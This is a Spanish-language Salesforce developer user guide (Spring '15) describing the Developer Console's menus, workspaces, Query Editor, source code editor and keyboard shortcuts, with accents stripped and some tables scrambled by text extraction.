Sei sulla pagina 1di 257

Mejora de Salesforce mediante

cdigo
Gua del usuario, Spring 15

@salesforcedocs

Copyright 20002014 salesforce.com, inc. Reservados todos los derechos. Salesforce.com es una marca registrada de

salesforce.com, inc., como el resto de nombres y marcas. El resto de las marcas pueden ser marcas registradas de sus
respectivos propietarios.

CONTENIDO
Mejora de Salesforce mediante cdigo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Bienvenidos, desarrolladores de Salesforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Herramientas de desarrollo de Salesforce . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Cdigo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Depuracin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 204
Prueba . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 240
Implementacin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 248

ndice . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 249

Mejora de Salesforce mediante cdigo


Bienvenidos, desarrolladores de Salesforce
Esta documentacin ofrece informacin sobre cmo mejorar su organizacin de Salesforce mediante el desarrollo de aplicaciones
personalizadas y la integracin de sus aplicaciones externas.
Esta documentacin se organiza por tareas, para que pueda encontrar rpidamente la informacin que necesite:
Escritura de cdigo: escriba cdigo usando el lenguaje de programacin de Apex para aadir lgica comercial o use el lenguaje de
marcas de Visualforce para crear la interfaz de usuario. Adems, encontrar informacin sobre la integracin de su aplicacin mediante
API y sobre la autenticacin de sus aplicaciones externas.
Depuracin de cdigo: depure su aplicacin usando la consola de desarrollador.
Prueba de sus cambios: Pruebe su cdigo Apex y trabaje con las herramientas de prueba.
Implementar: implemente sus cambios en otra organizacin usando conjuntos de cambios y otras herramientas.
Si desea el conjunto completo de documentacin para desarrolladores, consulte https://developer.salesforce.com/page/Documentation.

Herramientas de desarrollo de Salesforce


Esta tabla resume las funciones de las distintas herramientas de desarrollo de Salesforce.
Herramienta

Cdigo Depurac
i n Prueba m
I pelmena
tcin Disponible para

Consola de desarrollador de
Force.com

Men <Su

IDE de Force.com

developer.salesforce.com

Pie del modo de desarrollo de


Visualforce

Configuracin o Mi
configuracin

Editor de cdigo

Configuracin

Ejecucin de pruebas de Apex

Configuracin

Conjuntos de cambios

Configuracin

Herramienta de migracin
Force.com

Configuracin

nombre>

EDICIONES
Las herramientas
disponibles varan segn la
edicin de Salesforce que
posea.

Mejora de Salesforce mediante cdigo

Gua del usuario | Cdigo | 2

Nota: El IDE de Force.com es un recurso proporcionado por salesforce.com para ayudar a sus usuarios y socios, pero no se considera
parte de nuestros servicios en lo relativo al Contrato de suscripcin principal de salesforce.com.
CONSULTE TAMBIN
Uso de la Consola de desarrollador
Activacin del modo de desarrollo

Cdigo
Escritura de cdigo
Esta seccin contiene informacin sobre cmo escribir cdigo para ampliar su organizacin.
Uso de la Consola de desarrollador
Proteccin de su cdigo
Editor Consulta
Trabajo con cdigo
Integracin de sus aplicaciones con Salesforce
CONSULTE TAMBIN
Depuracin de su cdigo
Prueba de cambios
Implementacin

Consola de desarrollador
Descripcin general de la interfaz de usuario de la Consola de desarrollador
La Consola de desarrollador incluye un grupo de herramientas tiles para codificar, depurar y probar aplicaciones.

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 3

La Consola de desarrollador est organizada en las siguientes secciones:


1. Barra de mens
2. Espacio de trabajo con una ficha para cada elemento de apertura
3. Panel de Registros, Pruebas y Problemas

Barra de mens
La barra de mens incluye los siguientes mens desplegables:
El men Archivo le permite abrir y crear recursos.
El men Modificar permite buscar y modificar los archivos de cdigo.
El men Depuracin proporciona acceso a una serie de herramientas y ajustes.
El men Prueba proporciona acceso a las herramientas de prueba.
El men Espacio de trabajo le permite seleccionar y gestionar espacios de trabajo.
El men Ayuda incluye vnculos a la ayuda en lnea, una pgina de referencia de las teclas de acceso directo, la pgina de preferencias
de la Consola de desarrollador y un conjunto de visitas guiadas.

Espacio de trabajo
Un espacio de trabajo es un conjunto de recursos representados por fichas en el panel principal de la Consola de desarrollador. La vista
de detalles o el editor mostrado en cada ficha estn determinados por el tipo de recurso abierto en la ficha. Por ejemplo, el cdigo fuente
se abre en el editor de cdigo fuente, los registros se abren en el Inspector de registros, etc.

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 4

Puede crear un espacio de trabajo para cualquier grupo de recursos que utilice para mantener su trabajo organizado. Por ejemplo, puede
crear un espacio de trabajo para cdigo fuente y otro para registros de depuracin, alternndolos conforme codifique o realice pruebas.
Consulte Espacios de trabajo de la Consola de desarrollador.

Panel de Registros, Pruebas y Problemas


El panel inferior de la Consola de desarrollador incluye un grupo de fichas tiles:
La ficha Registros muestra los registros disponibles.
La ficha Pruebas muestra las pruebas disponibles.
La ficha Puntos de comprobacin muestra los puntos de comprobacin disponibles.
La ficha Editor Consulta le permite ejecutar una consulta SOQL o SOSL sobre los datos de la organizacin.
La ficha Estado de visualizacin, si est activada, le permite examinar el estado de visualizacin de una pgina de Visualforce.
La ficha Progreso muestra todas las consultas asncronas en tiempo real. Para ver solo las operaciones en curso, seleccione Ocultar
ejecuciones finalizadas. Para poner punto final a cualquier implementacin que aun no ha terminado, haga clic en Cancelar
todas las implementaciones. Cuando finaliza una implementacin, aparece una cadena de consultas residuales en la ficha Progreso
con un pequeo retraso. No es posible realizar implementaciones parciales. Para borrar inmediatamente la tarea de consultas,
actualice la Consola de desarrollador.
La ficha Problemas muestra los detalles de los errores de compilacin en el editor de cdigo fuente. Los cambios que realice se
compilan y validan en segundo plano. Cuando modifica un cdigo, aparece un indicador de error junto a las lneas que contienen
errores. Haga clic en una fila de la ficha Problemas para saltar a la lnea de cdigo que produjo el error.
Nota: Despus de veinte minutos de inactividad, la Consola de desarrollador detiene las consultas de nuevos registros, ejecuciones
de prueba y puntos de comprobacin. Para reanudar las actualizaciones, haga clic en Depuracin > Reanudar actualizaciones.

Accesos directos del teclado


Para ver una lista de accesos directos del teclado de la Consola de desarrollador, haga clic en Ayuda > Teclas de acceso directo o
pulse CTRL+SHIFT+?.
CONSULTE TAMBIN
Uso de la Consola de desarrollador
Men Archivo
Men de depuracin
Editor Consulta
Ficha Registros
Ficha Puntos de comprobacin

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 5

Uso de la Consola de desarrollador


PERMISOS DE USUARIO

EDICIONES

Para utilizar la Consola del desarrollador:

Ver todos los datos

Para ejecutar Apex annimo:

"Apex de autor"

Para usar una bsqueda de cdigo y


API activado
ejecutar SOQL o SOSL en la ficha de consulta:
Para guardar los cambios en las clases y
desencadenadores de Apex:

Apex de autor

Para guardar los cambios en pginas y


componentes de Visualforce:

Personalizar aplicacin

Disponible en: Enterprise


Edition, Performance
Edition, Unlimited Edition,
Developer Edition y
Database.com Edition

Qu es la Consola de desarrollador?
La Consola de desarrollador es un entorno de desarrollo integrado con un conjunto de herramientas que puede utilizar para crear,
depurar y probar aplicaciones en su organizacin de Salesforce.
Para abrir la Consola de desarrollador, haga clic en Su nombre > Consola de desarrollador. Para ver una introduccin a la interfaz
del usuario, consulte Descripcin general de la interfaz de usuario de la Consola de desarrollador. Vaya a developer.salesforce.com para
obtener las ltimas noticias e informacin sobre el desarrollo de Salesforce.

Cmo puede utilizar la Consola de desarrollador?


La Consola de desarrollador para ayudar con muchas de sus tareas de desarrollo:
Depuracin y solucin de problemas
La Consola de desarrollador proporciona un prctico conjunto de herramientas que permite llevar un control eficaz de los problemas
lgicos.
Visualizacin de registros: utilice la ficha Registros para ver una lista de registros. Abra los registros en el Inspector de registros. El
Inspector de registros es un visor de ejecucin contextual que muestra el origen de una operacin, qu ha generado esa operacin
y qu ocurri despus. Utilice esta herramienta para revisar registros de depuracin que incluyen eventos de bases de datos,
procesamiento de Apex, flujo de trabajo y lgica de validacin.
Establecimiento y visualizacin de los puntos de comprobacin en cdigo Apex: utilice la Consola de desarrollador para
establecer los puntos de comprobacin e identificar el origen de los errores. Por ejemplo, si desea averiguar por qu una solicitud
determinada genera un error, puede revisar la ejecucin, identificar la lgica que genera el problema y establecer un punto de
comprobacin. Cuando vuelva a ejecutar el proceso, podr inspeccionar la solicitud en ese punto especfico para saber con detalle
cmo mejorar el cdigo. Aunque la Consola de desarrollador no puede poner en pausa la ejecucin del cdigo como un depurador,
ofrece a los desarrolladores la misma visibilidad y reduce la necesidad de instrumentar el cdigo con comandos System.debug.
Cdigo fuente de navegacin y modificacin
La Consola de desarrollador le permite buscar, abrir, editar y crear archivos de cdigo fuente.
Bsqueda de paquetes en la organizacin: navegue por el contenido de los paquetes creados en su organizacin.
Visualizacin y modificacin de clases y desencadenadores de Apex: abra y modifique desencadenadores y clases de Apex y
abra una vista de slo lectura de las definiciones de objetos personalizadas.
Visualizacin y modificacin de pginas y componentes de Visualforce: abra y modifique pginas y componentes de Visualforce.

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 6

Uso del editor de cdigos fuente: abra un conjunto de archivos de cdigo de trabajo y altrnelos con slo hacer clic. El editor de
cdigo fuente de la Consola de desarrollador incluye una funcin de cumplimentacin automtica para el cdigo Apex.
Comprobacin y validacin del rendimiento
La Consola de desarrollador tiene una serie de funciones destinadas a probar el cdigo y analizar el rendimiento.
Comprobacin de cdigo Apex: utilice la Consola de desarrollador para comprobar la cobertura del cdigo y ejecutar pruebas de
Apex, incluidas pruebas de unidad, funcionales, de regresin, etc. Para facilitar el desarrollo de un cdigo resistente y sin errores,
Apex ayuda a la creacin y ejecucin de pruebas de unidad. Las pruebas de unidad son mtodos de clases que verifican si una parte
especfica del cdigo funciona adecuadamente. Los mtodos de comprobacin de unidades no tienen argumentos, no aplican
datos a la base de datos, no envan correos electrnicos y se marcan con la palabra clave testMethod o la anotacin isTest
en la definicin de mtodo. De igual forma, los mtodos de prueba deben definirse en las clases de pruebas, es decir, clases anotadas
con isTest.
Revisin de registros por problemas de rendimiento: el Inspector de registros es un visor de ejecucin contextual que muestra
el origen de una operacin, qu ha generado esa operacin y qu ocurri despus. Utilice esta herramienta para revisar registros de
depuracin que incluyen eventos de bases de datos, procesamiento de Apex, flujo de trabajo y lgica de validacin. Abra un registro
de depuracin y vea el rendimiento aadido de una operacin en el rbol de rendimiento. El panel Unidades ejecutadas divide la
solicitud por tiempo y tipo y establece categoras de intervalos por mtodos, consultas, flujos de trabajo, llamadas, DML, validaciones,
desencadenadores y pginas; lo que ofrece una idea clara de dnde localizar los problemas de rendimiento. Utilice el panel Plazo
para ver una vista de tiempo lmite de la solicitud global y comprobar los eventos de un bloque determinado. El panel Lmites ofrece
una vista de resumen de los recursos utilizados para adjudicarlos segn los lmites de solicitudes asignados.
Ejecucin de consultas SOQL y SOSL
La Consola de desarrollador proporciona una interfaz sencilla para gestionar consultas SOQL y SOSL.
Modificacin y ejecucin de consultas SOQL y SOSL: utilice la herramientaEditor Consulta para consultar datos desde su
organizacin.
Visualizacin de resultados de consulta: Los resultados se muestran en una cuadrcula Resultados de consulta que le permite
abrir, crear, actualizar y eliminar registros. En los resultados de bsquedas SOSL con mltiples objetos, cada objeto aparece en una
ficha distinta.
CONSULTE TAMBIN
Descripcin general de la interfaz de usuario de la Consola de desarrollador
Men Archivo
Ficha Registros
Ejemplos de uso del Inspector de registros

Referencia de la lnea de comando de la Consola del desarrollador


Para abrir o cerrar la Ventana de la lnea de comando de la Consola del desarrollador, haga clic en CTRL+MAYS+L. Los siguientes
comandos estn disponibles:
Comando

Parmetros

Descripcin

comandos

Ninguno

Una lista de todos los comandos.

ejecutar <declaraciones de
Apex>

<declaraciones de Apex>: Una o Ejecuta las <declaraciones de


ms declaraciones de Apex.
Apex > y genera un registro.

Mejora de Salesforce mediante cdigo

ejecutar [-o | -r]

Gua del usuario | Consola de desarrollador | 7

Ninguno

-o: Abre la ventana Introducir cdigo Apex.


-r: Ejecuta el cdigo en la ventana

Introducir cdigo Apex y genera un registro.


buscar <string>

<cadena>: Una cadena de caracteres.

Busca el registro para una cadena.

ayuda

Ninguno

Explica cmo obtener informacin acerca


de comandos.

gestionar <command>

<comando>: Un comando de Ventana de Muestra la descripcin del comando.

la lnea de comandos.

Espacios de trabajo de la Consola de desarrollador


Un espacio de trabajo es un conjunto de recursos representados por fichas en el panel principal de la Consola de desarrollador. La vista
de detalles o el editor mostrado en cada ficha estn determinados por el tipo de recurso abierto en la ficha. Por ejemplo, el cdigo fuente
se abre en el editor de cdigo fuente, los registros se abren en el Inspector de registros, etc.
Puede crear un espacio de trabajo para cualquier grupo de recursos que utilice para mantener su trabajo organizado. Por ejemplo, puede
crear un espacio de trabajo para cdigo fuente y otro para registros de depuracin, alternndolos conforme codifique o realice pruebas.
El men Espacio de trabajo incluye todos los vnculos necesarios:
Alternar espacio de trabajo: le permite seleccionar entre los espacios de trabajo guardados.
Nuevo espacio de trabajo: crea un nuevo espacio de trabajo. Introduzca un nombre para el espacio de trabajo y haga clic en
Aceptar. Abra los recursos que desee en el espacio de trabajo. El espacio de trabajo se guardar cuando cambie a un espacio de
trabajo diferente o cierre la Consola de desarrollador.
Cambiar nombre del espacio de trabajo actual: sobrescribe el espacio de trabajo actual con el nombre que ha introducido.
Gestor del espacio de trabajo: abre una ventana emergente que le permite buscar, abrir, crear y eliminar espacios de trabajo.
Puede abrir los siguientes tipos de recursos en el espacio de trabajo de la Consola de desarrollador:
Los registros se abren en el Inspector de registros.
Los puntos de comprobacin se abren en el Inspector de puntos de comprobacin.
Las clases y desencadenadores de Apex y las pginas y componentes de Visualforce se abren en el editor de cdigo fuente.
Los metadatos de la organizacin y otros recursos sin cdigo se abren en el Inspector de objetos.
Los resultados de las consultas indicados en la ficha Editor Consulta se abren en una cuadrcula Resultados de consulta modificable.
Las ejecuciones de pruebas terminadas en la ficha Pruebas se abren en una vista Resultados de pruebas.
Para contraer los paneles no utilizados, utilice los botones
. Si estn contradas, puede hacer clic en un panel para mostrarlas
temporalmente y usarlas. Al mover el cursor fuera del panel, se contrae automticamente.
Cuando cambia a un espacio de trabajo diferente o cierra la Consola de desarrollador, se guarda el estado de las fichas (y los paneles de
las fichas) en el espacio de trabajo actual. Si no ha creado un espacio de trabajo, la configuracin se guarda como espacio de trabajo
predeterminado.

Navegacin entre fichas


Para desplazarse hacia la derecha o hacia la izquierda en las fichas del espacio de trabajo, haga clic en la ficha correspondiente o utilice
estos accesos directos del teclado:
Izquierda: CTRL+AvPg

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 8

Derecha: CTRL+RePg

Navegacin por el historial de vista


Para moverse hacia delante y hacia atrs por su historial de vista, haga clic en los

o utilice estos accesos directos del teclado:

Retroceder: CTRL+,
Avanzar: CTRL+.
Haciendo clic en el
(o CTRL+) se mueve por las fichas vistas anteriormente en el mismo orden en el que las vio. El botn
solamente se activa cuando est viendo su historial.
CONSULTE TAMBIN
Descripcin general de la interfaz de usuario de la Consola de desarrollador
Editor de cdigo fuente

Men Archivo
El men Archivo de la consola de desarrollador le permite gestionar los desencadenadores y las clases de Apex, las pginas o componentes
de Visualforce y los recursos estticos (texto, XML, JavaScript o CSS). Incluye las opciones siguientes:
Nuevo: Crea un nuevo recurso y lo abre en el Editor de cdigo fuente. Puede crear estos recursos:
Clase o desencadenador de Apex; Para crear un nuevo desencadenador de Apex, seleccione en primer lugar el objeto para
asociar con el desencadenador.
Pgina o componente de Visualforce
Archivo de recurso esttico (texto, XML, JavaScript o CSS)
Abrir: inicia la ventana Abrir de Archivo que le permite buscar y abrir el cdigo de la aplicacin y los objetos de datos.
Abrir recurso: abre la ventana Abrir recurso, la cual permite buscar archivos por nombre.
Abrir registro: abre el registro seleccionado en el Inspector de registros. Tambin puede acceder a los registros desde la ficha
Registros.
Abrir registro sin procesar: abre el registro seleccionado como texto sin formato.
Descargar registro: guarda una copia de texto del registro seleccionado en el equipo local.
Guardar: guarda el elemento de la ficha activa.
Guardar todo: guarda los cambios de todas las fichas abiertas en el espacio de trabajo. Utilice esta opcin para guardar un conjunto
de los cambios dependientes.
Eliminar: elimina el elemento de la ficha activa. Solo puede eliminar desencadenadores y clases de Apex, pginas de Visualforce y
archivos de recursos estticos.
Cerrar: cierra la ficha activa.

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 9

Cerrar todo: cierra todas las fichas abiertas en el espacio de trabajo. Si una ficha contiene cambios sin guardar, se le preguntar si
desea guardarlos.
CONSULTE TAMBIN
Uso de la ventana Abrir de Archivo
Editor de cdigo fuente
Inspector de objetos

Uso de la ventana Abrir de Archivo


La ventana Archivo > Abrir del men Consola de desarrollador le permite buscar y abrir el cdigo de la aplicacin y objetos de datos.

Para acceder a un elemento en la ventana Abrir:


1. En la columna Entidad de configuracin, haga clic en el tipo de elemento que desea buscar.
2. En la columna Entidades, desplcese hasta el elemento que desea examinar.
Para filtrar los elementos mostrados, haga clic en el cuadro de introduccin de texto Filtrar e introduzca una cadena de texto para
mostrar solamente los elementos que cumplan con el criterio de filtro. La bsqueda distingue entre maysculas y minsculas.
3. Para ver elementos relacionados en la columna Relacionado, haga clic en el elemento una vez.
Por ejemplo, haga clic en un objeto para ver las clases de Apex que lo usan.
4. Para abrir el elemento en una ficha nueva, haga doble clic en l o seleccinelo y haga clic en Abrir.
Los archivos de cdigo se abren en el editor de cdigo fuente, mientras que los objetos de datos se abren en la vista Inspector de
objetos.
Puede buscar y abrir el contenido de los paquetes de la organizacin en la ventana Archivo > Abrir. Puede ver todo el contenido de
los paquetes y abrir los archivos de cdigo y los objetos personalizados contenidos en un paquete. Otros elementos del paquete, como
los archivos personalizados y las reglas de validacin, se pueden ver en la lista, aunque sin detalles.
Nota: No puede ni ver ni modificar los contenidos de los paquetes gestionados que ha instalado en su organizacin. Puede
buscar, abrir y modificar las entidades de paquetes no gestionados de la misma forma que los creados por usted.
CONSULTE TAMBIN
Editor de cdigo fuente
Inspector de registros
Inspector de objetos

Mejora de Salesforce mediante cdigo

Gua del usuario | Consola de desarrollador | 10

Men Modificar
El men Modificar de la Consola de desarrollador permite buscar y modificar los archivos de cdigo.
Buscar: busca en la vista actual el texto seleccionado. Si no se selecciona texto, se abre una cuadro de dilogo de bsqueda del
explorador.
Buscar siguiente: busca la siguiente coincidencia para el texto seleccionado o especificado en la vista actual.
Buscar y reemplazar: busca y reemplaza el texto seleccionado o especificado en la vista actual.
Bsqueda en archivos: abre un cuadro de dilogo para buscar en el contenido de todos los archivos de cdigo.
Corregir sangra: corrige la sangra del archivo de cdigo actual.

Men de depuracin
El men de la consola del desarrollador Depuracin le permite gestionar sus registros y ejecutar Apex annimas. Incluye las siguientes
opciones:
Abrir ventana de ejecucin annima: Abre una ventana nueva que le permite introducir cdigos Apex para pruebas. Consulte
Cdigo Apex de ejecucin annima.
ltima ejecucin: Ejecuta la entrada ms reciente en la ventana Introducir cdigo Apex.
Cambiar perspectiva: Selecciona la perspectiva desde la lista de perspectivas estndar y personalizadas disponibles. Consulte
Inspector de registros.
Visualizar paneles de registro: Muestra una lista de paneles disponibles para su uso en una perspectiva.
Gestor de perspectiva: Abre el Gestor de perspectivas. Consulte Gestin de perspectivas en el Inspector de registros.
Guardar perspectiva: Guarda cualquier cambio realizado en la perspectiva actual desde que se ha abierto.
Guardar perspectiva como: Guarda una copia de la perspectiva actual con un nombre diferente.
Ocultar registros automticamente: Seleccione esta opcin para borrar registros existentes donde se ha actualizado la pgina.
Solo mostrar mis registros actuales: Cancele la seleccin de esta opcin (seleccionada de forma predeterminada) para ver todos
los registros guardados en su organizacin, incluyendo los registros de sistema generados recientemente creados por otros usuarios.
Solo mostrar mis puntos de control actuales: Cancele la seleccin de esta opcin (seleccionada de forma predeterminada) para
mostrar todos los puntos de control guardados actualmente en su organizacin, incluyendo los registros de sistema generados
recientemente creados por otros usuarios.
Borrar: Seleccione Panel de registro, Panel de resultados del punto de control o Ubicaciones de puntos de control para
eliminar datos actuales del cach y actualizar la pantalla.
Reanudar actualizaciones: Renueva la conexin al servidor. Esta opcin solo aparece si se han interrumpido las consultas debido
a la inactividad.
Cambiar niveles de registro: Abre el dilogo de configuracin del registro para definir niveles de inicio de sesin para futuras
solicitudes. Consulte Configuracin de filtros de registro de depuracin.
Nota: Algunas opciones en el men Depuracin no son accesibles hasta que se genere un registro.

CONSULTE TAMBIN
Cdigo Apex de ejecucin annima
Inspector de registros
Gestin de perspectivas en el Inspector de registros
Filtros de categoras de registro de depuracin

Mejora de Salesforce mediante cdigo

Gua del usuario | Trabajo con datos | 11

Trabajo con datos


Editor Consulta
El Editor Consulta de la Consola de desarrollador le permite ejecutar una consulta SOQL o bsqueda SOSL sobre los datos de la organizacin.
El panel Historial muestra las ltimas 10 consultas para que pueda volver a usarlas rpidamente. Los resultados se muestran en una
cuadrcula Resultados de consulta que le permite abrir, crear, actualizar y eliminar registros. En los resultados de bsquedas SOSL con
mltiples objetos, cada objeto aparece en una ficha distinta.

Ejecucin de una consulta SOQL o bsqueda SOSL


Para ejecutar una consulta:
1. Introduzca una consulta SOQL o bsqueda SOSL en el panel Editor Consulta.
2. Haga clic en Ejecutar. Para consultar entidades de herramientas en lugar de entidades de datos, seleccione Usar API de herramientas.
Si la consulta genera errores, stos aparecen en la seccin inferior del panel Editor Consulta. Los resultados se muestran en la cuadrcula
Resultados de consulta en el espacio de trabajo Consola de desarrollador.
3. Para volver a ejecutar una consulta, haga clic en Actualizar cuadrcula o haga clic en el panel Historial y despus en Ejecutar.
PRECAUCIN: Si vuelve a ejecutar una consulta, se perdern los datos que haya modificado en una cuadrcula Resultados
de consulta y que no haya guardado.
Use la herramienta de plan de consultas para optimizar y agilizar las consultas realizadas en grandes volmenes. Para habilitar la
herramienta, haga clic en Ayuda > Preferencias y establezca Activar plan de consultas en true. Para usar la herramienta,
introduzca la consulta y haga clic en el botn Plan de consultas del Editor de consultas. En la ventana Plan de consultas se muestran
todas las operaciones de consulta y el coste de cada una.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 12

Si desea ms informacin sobre la sintaxis de consulta y bsqueda, consulte la Referencia de Force.com SOQL y SOSL.

Gestin de datos en Resultados de consulta


La cuadrcula Resultados de consulta muestra cada registro como una fila y le permite crear, actualizar y eliminar registros sin abandonar
la Consola de desarrollador. En los resultados de bsquedas SOSL con mltiples objetos, cada objeto aparece en una ficha distinta.
Para abrir un registro mostrado en los resultados, haga clic en la fila y en Abrir pgina de detalles o Pgina de modificacin para
pasar al registro en Salesforce.
Para crear un nuevo registro, haga clic en Insertar fila. Realice los cambios de informacin necesarios y haga clic en Guardar filas.
Nota: Para insertar una fila, los resultados de la consulta deben contener todos los campos obligatorios para el objeto y los
campos obligatorios deben ser campos de texto sencillo o de numeracin. Si estas condiciones no son ciertas, se crea una fila
en blanco pero que no puede guardar. En este caso, haga clic en Crear nuevo para crear un registro nuevo en Salesforce.
Para modificar un registro, haga doble clic en una fila relacionada. Realice los cambios de informacin necesarios y haga clic en
Guardar filas.
Para eliminar un registro, seleccione la fila relacionada y haga clic en Eliminar fila.
CONSULTE TAMBIN
Uso de la Consola de desarrollador

Apex y Visualforce
Trabajo con cdigo
Esta seccin contiene informacin sobre las herramientas y tcnicas que puede utilizar al realizar cambios en su organizacin utilizando
cdigo.
Uso del Editor para Visualforce
Editor de cdigo fuente
Inspector de objetos
Concepto de variables globales
Valores vlidos para la variable global $Action
Descripcin general del cdigo Apex
Descripcin general de Visualforce
Qu son los servicios de correo electrnico?
Descripcin general de etiquetas personalizadas

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 13

Uso del Editor para Visualforce o Apex


Cuando modifique Visualforce o Apex, ya sea en el pie del modo de desarrollo de Visualforce o
desde la configuracin, hay un editor disponible con la siguiente funcionalidad:
Resaltado de sintaxis
El editor aplica automticamente resaltado de sintaxis de las palabras clave de todas las funciones
y operadores.
Bsqueda ( )
Buscar le permite buscar texto en la pgina, clase o desencadenador actual. Para utilizar la
bsqueda, introduzca una cadena en el cuadro de texto Buscar y haga clic en Buscar
siguiente.
Para reemplazar una cadena de bsqueda encontrada por otra cadenas, introduzca la
cadena nueva en el cuadro de texto Reemplazar y haga clic en Reemplazar para
reemplazar slo esa aparicin o en Reemplazar todos para reemplazar esa aparicin de
la cadena de bsqueda y todas las dems que se produzca en la pgina, clase o
desencadenador.
Para que la operacin de bsqueda distinga entre maysculas y minsculas, seleccione la
opcin Coincidir maysculas y minsculas.
Para utilizar una expresin regular como cadena de bsqueda, seleccione la opcin
Expresiones regulares. Las expresiones regulares siguen las reglas de expresin normales
de JavaScript. Las bsquedas con expresiones regulares encuentran cadenas que abarcan
ms de una lnea.
Si utiliza la operacin de reemplazo con una cadena de una expresin regular, la operacin
de reemplazo tambin abarcar variables de grupo de expresin regulares ($1, $2, y as
sucesivamente) de la cadena de bsqueda encontrada. Por ejemplo, para reemplazar una
etiqueta <h1> por otra etiqueta <h2> y conservar todos los atributos originales de <h1>
intactos, busque <h1(\s+)(.*)> y reemplcelo por <h2$1$2>.
Ir a lnea ( )
Este botn le permite resaltar el nmero de lnea especificado. Si la lnea no es visible
actualmente, el editor se desplazar a esa lnea.

EDICIONES
Apex est disponible en:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition y
Database.com Edition

EDICIONES
Visualforce est disponible
en: Contact Manager
Edition, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition y
Developer Edition

PERMISOS DE USUARIO
Para modificar la marca de
Visualforce:
Personalizar aplicacin
Para modificar
controladores
personalizados de
Visualforce o Apex:
"Apex de autor"

Deshacer ( ) y Rehacer ( )
Utilice Deshacer para invertir una accin de modificacin y Rehacer para recrear una accin de modificacin que se haya deshecho.
Tamao de fuente
Seleccione un tamao de fuente de la lista desplegable para controlar el tamao de los caracteres que se muestran en el editor.
Posicin de lnea y columna
La posicin de lnea y columna del cursor se muestra en la barra de estado de la parte inferior del editor. Esto puede realizarse con
Ir a lnea (

) para desplazarse rpidamente por el editor.

Recuento de lneas y caracteres


El nmero total de lneas y caracteres aparece en la barra de estado de la parte inferior del editor.
El editor admite los siguientes accesos directos de teclado:
Tabulador

Aade una ficha al cursor


Mays+Tabulador

Elimina una ficha

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 14

CTRL+f

Abre el cuadro de dilogo de bsqueda o busca la siguiente incidencia de la bsqueda actual.


CTRL+r

Abre el cuadro de dilogo de bsqueda o reemplaza la siguiente incidencia de la bsqueda actual con la cadena de reemplazo
especificada.
CTRL+g

Abre el cuadro de dilogo Ir a.


CTRL+s

Realiza un guardado rpido.


CTRL+z

Deshace la ltima accin de modificacin.


CTRL+y

Vuelve a realizar la ltima accin de modificacin deshecha.


CONSULTE TAMBIN
Descripcin general del cdigo Apex
Descripcin general de Visualforce

Editor de cdigo fuente


La Consola de desarrollador incluye un editor de cdigo fuente con una serie de funciones para modificar el cdigo Apexy Visualforce.
Todos los archivos de cdigos, incluidas las clases y desencadenadores de Apex y las pginas y componentes de Visualforce, se abren
en el editor de cdigo fuente en el espacio de trabajo Consola de desarrollador.

La sintaxis resaltada en el editor de cdigo fuente informa sobre comentarios, nmeros, cadenas, palabras reservadas, primeros tipos
de datos, declaraciones variables y referencias. Para acceder a la bsqueda de cdigo, pulse CTRL+F.

Mejora de Salesforce mediante cdigo

Gua del usuario | Apex y Visualforce | 15

Despus de implementar una prueba, puede ver la cobertura de cdigo por lneas en el editor de cdigo fuente. Consulte Comprobacin
de la cobertura del cdigo. El editor de cdigo fuente tambin le permite establecer puntos de comprobacin para solucionar problemas
sin actualizar el cdigo. Consulte Establecimiento de puntos de comprobacin en cdigo Apex.
Para cambiar entre el Editor de cdigo fuente y un editor de pantalla completa (si est disponible), pulse F11.

Configuracin de preferencias del editor de cdigo fuente


Puede seleccionar el tamao de la fuente y mostrar temas para el Editor de cdigo fuente. Haga clic en Ayuda > Preferencias para
acceder al dilogo Preferencias.

Seleccione un Tema del editor para obtener una vista previa.


La ventana Preferencias incluye opciones de configuracin adicionales basndose en sus permisos e implementacin. Eso incluye la
activacin del cumplimentacin de cdigo en la pgina 16 y la ficha Registroevitando la carga de registros en la pgina 208.
Haga clic en Guardar para actualizar su configuracin y cerrar la ventana.

Navegacin a declaraciones de variables y mtodos


Puede navegar directamente a una declaracin de variable o mtodo en lugar de tener que desplazarse o buscarla.
1. Pase el ratn sobre el nombre de un mtodo o variable. Si el nombre del mtodo o de la variable est subrayado, puede navegar
hasta su declaracin.
2. Haga clic en el nombre de mtodo o de variable subrayado.
3. Pulse CTRL+ALT+N o haga clic en Ir a para mover el cursor a la declaracin. Si la declaracin est en otro archivo, el archivo se abrir
en una nueva ficha.

Uso de Buscar y sustituir


Utilice los accesos directos del teclado para buscar y sustituir texto en la vista actual.
Funcin

Acceso directo

Notas

Bsqueda

CTRL+F

Abre un formulario de bsqueda activo.

Sustituir

CTRL+MAYS+F

Abre un dilogo que le solicita el trmino de


bsqueda y luego el trmino de sustitucin, a

Mejora de Salesforce mediante cdigo

Funcin

Gua del usuario | Apex y Visualforce | 16

Acceso directo

Notas
continuacin le permite confirmar o rechazar cada
cambio.

Sustituir todo

CTRL+MAYS+R

Abre un dilogo que le solicita el trmino de


bsqueda y luego el trmino de sustitucin, a
continuacin le permite confirmar o rechazar el
cambio universal.

